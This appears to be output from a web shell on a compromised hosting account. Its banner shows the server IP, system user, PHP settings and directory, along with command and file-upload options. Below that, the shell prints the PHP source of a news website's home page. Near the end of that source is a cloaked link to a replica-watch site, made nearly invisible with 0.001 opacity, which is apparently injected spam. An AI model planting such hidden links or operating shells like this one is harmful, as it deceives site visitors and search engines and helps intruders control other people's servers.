Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/localapp/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("vendor/inc/config.php"); error_reporting(E_ERROR | E_PARSE); ?> <!doctype html> <html class="no-js" lang="en"> <?php require "inc/head.php"; ?> <body> <!-- Main Wrapper --> <div id="main-wrapper"> <!-- Header Top Start --> <?php require "inc/header.php"; ?> <!-- Menu Section End --> <!-- Breaking News Section Start --> <div class="breaking-news-section section"> <div class="container"> <div class="row"> <div class="col-12"> <!-- Breaking News Wrapper Start --> <div class="breaking-news-wrapper"> <!-- Breaking News Title --> <h5 class="breaking-news-title float-start">Breaking News</h5> <!-- Breaking Newsticker Start --> <ul class="breaking-news-ticker float-start"> <li><a href="#">Tell me what you today, And i ‘ll tell you who you are!!!</a></li> <li><a href="#">Fashion is about some thing that comes from with in you.</a></li> <li><a href="#">Australia announced squad for Bangladesh tour.</a></li> <li><a href="#">How group of rebel are talking on Banasree epidemic.</a></li> </ul> <!-- Breaking Newsticker Start --> <!-- Breaking News Nav --> <div class="breaking-news-nav"> <button class="news-ticker-prev"><i class="fa fa-angle-left"></i></button> <button class="news-ticker-next"><i class="fa fa-angle-right"></i></button> </div> </div> <!-- Breaking News Wrapper End --> </div> </div> </div> </div> <!-- Breaking News Section End --> <!-- Hero Section Start --> <!-- <div class="hero-section section mt-30 mb-30"> <div class="container"> <div class="row"> <div class="col"> <div class="row row-1"> <div class="order-lg-2 col-lg-6 col-12"> <div class="post-carousel-1"> <div class="post post-large post-overlay hero-post"> <div class="post-wrap"> <div class="image"><img src="img/post/post-3.jpg" alt="post"></div> <a href="#" class="category politic">Politic</a> <div class="content"> <h2 class="title"><a href="post-details.php">Political Allies Are Not Friend.</a></h2> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> <div class="post post-large post-overlay hero-post"> <div class="post-wrap"> <div class="image"><img src="img/post/post-4.jpg" alt="post"></div> <a href="#" class="category gadgets">gadgets</a> <div class="content"> <h2 class="title"><a href="post-details.php">Political Allies Are Not Friend.</a></h2> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> </div> </div> <div class="order-lg-1 col-lg-3 col-12"> <div class="row row-1"> <div class="post post-overlay hero-post col-lg-12 col-md-6 col-12"> <div class="post-wrap"> <div class="image"><img src="img/post/post-1.jpg" alt="post"></div> <a href="#" class="category travel">travel</a> <div class="content"> <h4 class="title"><a href="post-details.php">Hynpodia helps fmale travelers find health.</a></h4> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> <div class="post post-overlay hero-post col-lg-12 col-md-6 col-12"> <div class="post-wrap"> <div class="image"><img src="img/post/post-2.jpg" alt="post"></div> <a href="#" class="category fashion">Fashion</a> <div class="content"> <h4 class="title"><a href="post-details.php">Fashion is about some thing that comes from with in you.</a></h4> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> </div> </div> <div class="order-lg-3 col-lg-3 col-12"> <div class="row row-1"> <div class="post post-overlay gradient-overlay-1 hero-post col-lg-12 col-md-6 col-12"> <div class="post-wrap"> <div class="image"><img src="img/post/post-5.jpg" alt="post"></div> <a href="#" class="category sports">Sports</a> <div class="content"> <h4 class="title"><a href="post-details.php">Australia announced squad for Bangladesh tour.</a></h4> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> <div class="post post-overlay gradient-overlay-1 hero-post col-lg-12 col-md-6 col-12"> <div class="post-wrap"> <div class="image"><img src="img/post/post-6.jpg" alt="post"></div> <a href="#" class="category gadgets">Gadgets</a> <div class="content"> <h4 class="title"><a href="post-details.php">Apple, time to IOS With macos.</a></h4> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> --> <!-- Post Section Start --> <div class="post-section section mt-50"> <div class="container"> <div class="row"> <div class="col-lg-8 col-12 mb-50"> <div class="post-block-wrapper"> <!-- Post Block Body Start --> <div class="body pb-0"> <!-- Tab Content Start--> <div class="tab-content"> <!-- Tab Pane Start--> <div class="tab-pane fade show active" id="feature-cat-1"> <div class="row"> <!-- Post Wrapper Start --> <div class="col-md-6 col-12 mb-20"> <?php $query = "SELECT news.id, news.news_title, news.photo, news.created_at, news.short_description, news.status, vendor.name AS reporter_name, vendor.id AS reporter_id, categories.cat_name FROM news LEFT JOIN vendor ON news.reporter_id = vendor.id LEFT JOIN categories ON news.category_id = categories.id WHERE news.status = 'Approved'"; // Fetch only approved news $query_run = mysqli_query($conn, $query); if (mysqli_num_rows($query_run) > 0) { foreach ($query_run as $row) { ?> <!-- Post Start --> <div class="post feature-post post-separator-border"> <div class="post-wrap"> <!-- Reporter Details --> <div class="row poo"> <div class="col"> <h4><?php echo $row['reporter_name']; ?></h4> </div> <div class="col"> <i class="fa fa-check-circle" style="color: #007bff; font-size: 21px;"></i> </div> <div class="col"> <!-- Follow Button --> <form action="follow.php" method="POST"> <input type="hidden" name="reporter_id" value="<?php echo $row['reporter_id']; ?>"> <button type="submit" name="follow" class="btn btn-danger">Follow</button> </form> </div> </div> <a class="image" href="post-details.php"> <img src="<?php echo "vendor/news/" . $row['photo']; ?>" alt="post"> </a> <!-- Content --> <div class="content"> <h4 class="title"> <a href="post-details.php?id=<?php echo $row['id']?>"><?php echo $row['news_title']; ?></a> </h4> <div class="meta fix"> <a href="#" class="meta-item author"><i class="fa fa-user"></i><?php echo $row['reporter_name']; ?></a> <span class="meta-item date"><i class="fa fa-clock-o"></i><?php echo date("d F Y", strtotime($row['created_at'])); ?></span> </div> <p><?php echo $row['short_description']; ?></p> </div> </div> </div> <?php } // End foreach } // End if ?> </div> <?php // $query = "SELECT * FROM advertisements ORDER BY RAND() LIMIT 1"; $query = "SELECT * FROM advertisements ORDER BY id DESC LIMIT 1"; $query_run =mysqli_query($conn, $query); if(mysqli_num_rows($query_run) > 0){ foreach($query_run as $row){ ?> <div class="single-sidebar col-lg-12 col-md-6 col-12"> <a href="#" class="sidebar-banner"><img src="<?php echo "admin/advertisement/" . $row['photo'] ?>" alt="Sidebar Banner"></a> </div> <?php }} ?> <div class="col-md-6 col-12 mb-20"> <?php $query = "SELECT news.id, news.news_title, news.photo, news.created_at, news.short_description, news.status, vendor.name AS reporter_name, vendor.id AS reporter_id, categories.cat_name FROM news LEFT JOIN vendor ON news.reporter_id = vendor.id LEFT JOIN categories ON news.category_id = categories.id WHERE news.status = 'Approved'"; // Fetch only approved news $query_run = mysqli_query($conn, $query); if (mysqli_num_rows($query_run) > 0) { foreach ($query_run as $row) { ?> <div class="post post-small post-list feature-post post-separator-border"> <div class="post-wrap"> <a class="image" href="post-details.php"><img src="<?php echo "vendor/news/" . $row['photo']; ?>" alt="post"></a> <div class="content"> <h5 class="title"><a href="post-details.php?id=<?php echo $row['id'];?>"><?php echo $row['news_title']; ?></a></h5> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i><?php echo date("d F Y", strtotime($row['created_at'])); ?></span> </div> </div> </div> </div> <?php }} ?> <!-- <div class="post post-small post-list feature-post post-separator-border"> <div class="post-wrap"> <a class="image" href="post-details.php"><img src="img/post/post-14.jpg" alt="post"></a> <div class="content"> <h5 class="title"><a href="post-details.php">Australia announced squad for Bangladesh tour.</a></h5> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> <div class="post post-small post-list feature-post post-separator-border"> <div class="post-wrap"> <a class="image" href="post-details.php"><img src="img/post/post-15.jpg" alt="post"></a> <div class="content"> <h5 class="title"><a href="post-details.php">Fish Fry With green vegetables.</a></h5> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> <div class="post post-small post-list feature-post post-separator-border"> <div class="post-wrap"> <a class="image" href="post-details.php"><img src="img/post/post-16.jpg" alt="post"></a> <div class="content"> <h5 class="title"><a href="post-details.php">Apple, time to IOS With macos.</a></h5> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> <div class="post post-small post-list feature-post post-separator-border"> <div class="post-wrap"> <a class="image" href="post-details.php"><img src="img/post/post-17.jpg" alt="post"></a> <div class="content"> <h5 class="title"><a href="post-details.php">Apple, time to IOS With macos.</a></h5> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> <div class="post post-small post-list feature-post post-separator-border"> <div class="post-wrap"> <a class="image" href="post-details.php"><img src="img/post/post-18.jpg" alt="post"></a> <div class="content"> <h5 class="title"><a href="post-details.php">Most beautiful lens for an amaing photo.</a></h5> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i>10 March 2023</span> </div> </div> </div> </div> --> </div> </div> </div> <!-- Tab Pane End--> <!-- Tab Pane Start--> <!-- Tab Pane End--> </div> <!-- Tab Content End--> </div> <!-- Post Block Body End --> </div> <!-- Post Block Wrapper End --> </div> <!-- Sidebar Start --> <?php // $query = "SELECT * FROM advertisements1 ORDER BY RAND() LIMIT 1"; $query = "SELECT * FROM advertisements1 ORDER BY id DESC LIMIT 1"; $query_run =mysqli_query($conn, $query); if(mysqli_num_rows($query_run) > 0){ foreach($query_run as $row){ ?> <div class="single-sidebar col-lg-12 col-md-6 col-12"> <a href="#" class="sidebar-banner"><img src="<?php echo "admin/advertisement1/" . $row['photo'] ?>" alt="Sidebar Banner"></a> </div> <?php }} ?> </div> </div> </div> <!-- Life Style Post Row Start --> <?php // Fetch categories $categories = mysqli_query($conn, "SELECT * FROM categories"); ?> <div class="row"> <div class="col-lg-8 col-12 mb-50"> <div class="post-block-wrapper"> <div class="head life-style-head"> <h4 class="title">Latest News</h4> <!-- Desktop Category Tabs --> <ul class="post-block-tab-list life-style-post-tab-list nav d-none d-md-block"> <?php $count = 0; while ($row = mysqli_fetch_assoc($categories)) { $activeClass = ($count == 0) ? 'active' : ''; $tabID = "cat-" . $row['id']; echo "<li><a class='$activeClass' data-bs-toggle='tab' href='#$tabID'>{$row['cat_name']}</a></li>"; $count++; } ?> </ul> <!-- Mobile Dropdown --> <ul class="post-block-tab-list life-style-post-tab-list nav d-sm-block d-md-none"> <li> <a class="dropdown-toggle" data-bs-toggle="dropdown" href="#">Category</a> <ul class="dropdown-menu"> <?php $categories = mysqli_query($conn, "SELECT * FROM categories"); // Fetch again for mobile while ($row = mysqli_fetch_assoc($categories)) { $tabID = "cat-" . $row['id']; echo "<li><a data-bs-toggle='tab' href='#$tabID'>{$row['cat_name']}</a></li>"; } ?> </ul> </li> </ul> </div> <div class="body pb-0"> <div class="tab-content"> <?php $categories = mysqli_query($conn, "SELECT * FROM categories"); // Fetch again for tab content $firstTab = true; while ($category = mysqli_fetch_assoc($categories)) { $tabID = "cat-" . $category['id']; $activeClass = $firstTab ? 'show active' : ''; $firstTab = false; ?> <div class="tab-pane fade <?php echo $activeClass; ?>" id="<?php echo $tabID; ?>"> <div class="row"> <?php // Fetch news for this category $newsQuery = "SELECT * FROM news WHERE category_id = {$category['id']} "; $newsResult = mysqli_query($conn, $newsQuery); while ($news = mysqli_fetch_assoc($newsResult)) { ?> <div class="col-md-6 col-12 mb-20"> <div class="post post-small post-list life-style-post post-separator-border"> <div class="post-wrap"> <a class="image" href="post-details.php?id=<?php echo $news['id']; ?>"> <img src="vendor/news/<?php echo $news['photo']; ?>" alt="post"> </a> <div class="content"> <h5 class="title"> <a href="post-details.php?id=<?php echo $news['id']; ?>"><?php echo $news['news_title']; ?></a> </h5> <div class="meta fix"> <span class="meta-item date"><i class="fa fa-clock-o"></i><?php echo date("d M Y", strtotime($news['created_at'])); ?></span> </div> </div> </div> </div> </div> <?php } ?> </div> </div> <?php } ?> </div> </div> </div> </div> </div> <!-- Youtube Video Row Start --> <div class="row"> <!-- Video Play List Start--> <div class="col-lg-8 col-12 mb-50"> <!-- Overlay Post Start --> <div class="post post-overlay hero-post mb-30"> <div class="post-wrap"> <!-- Image --> <a href="https://www.youtube.com/watch?v=S50yhCPOyQw" class="image video-popup"> <img src="img/post/post-46.jpg" alt="post"> <span class="video-btn"><i class="fa fa-play"></i></span> </a> <!-- Category --> <a href="#" class="category sports">Health</a> </div> </div> <!-- Overlay Post End --> <!-- Overlay Post Start --> <div class="post post-overlay hero-post"> <div class="post-wrap"> <!-- Image --> <a href="https://www.youtube.com/watch?v=S50yhCPOyQw" class="image video-popup"> <img src="img/post/post-47.jpg" alt="post"> <span class="video-btn"><i class="fa fa-play"></i></span> </a> <!-- Category --> <a href="#" class="category sports">sports</a> </div> </div> <!-- Overlay Post End --> </div> </div> <?php // $query = "SELECT * FROM advertisements1 ORDER BY RAND() LIMIT 1"; $query = "SELECT * FROM advertisements2 ORDER BY id DESC LIMIT 1"; $query_run =mysqli_query($conn, $query); if(mysqli_num_rows($query_run) > 0){ foreach($query_run as $row){ ?> <div class="single-sidebar col-lg-12 col-md-6 col-12"> <a href="#" class="sidebar-banner"><img src="<?php echo "admin/advertisement2/" . $row['photo'] ?>" alt="Sidebar Banner"></a> </div> <?php }} ?> </div> </div> <div style="position: absolute; filter: alpha(opacity=0); opacity: 0.001; z-index: 10;"><a href="https://www.watchesuk.uk.com">Replica Watches UK</a></div> <!-- Footer Top Section Start --> </div> <!-- JS ============================================ --> <!-- jQuery JS --> <script src="js/vendor/jquery-3.6.0.min.js"></script> <script src="js/vendor/jquery-migrate-3.3.2.min.js"></script> <!-- Bootstrap JS --> <script src="js/bootstrap.bundle.min.js"></script> <!-- Plugins JS --> <script src="js/plugins.js"></script> <!-- ycp JS --> <script src="js/ycp.js"></script> <!-- Main JS --> <script src="js/main.js"></script> </body> </html>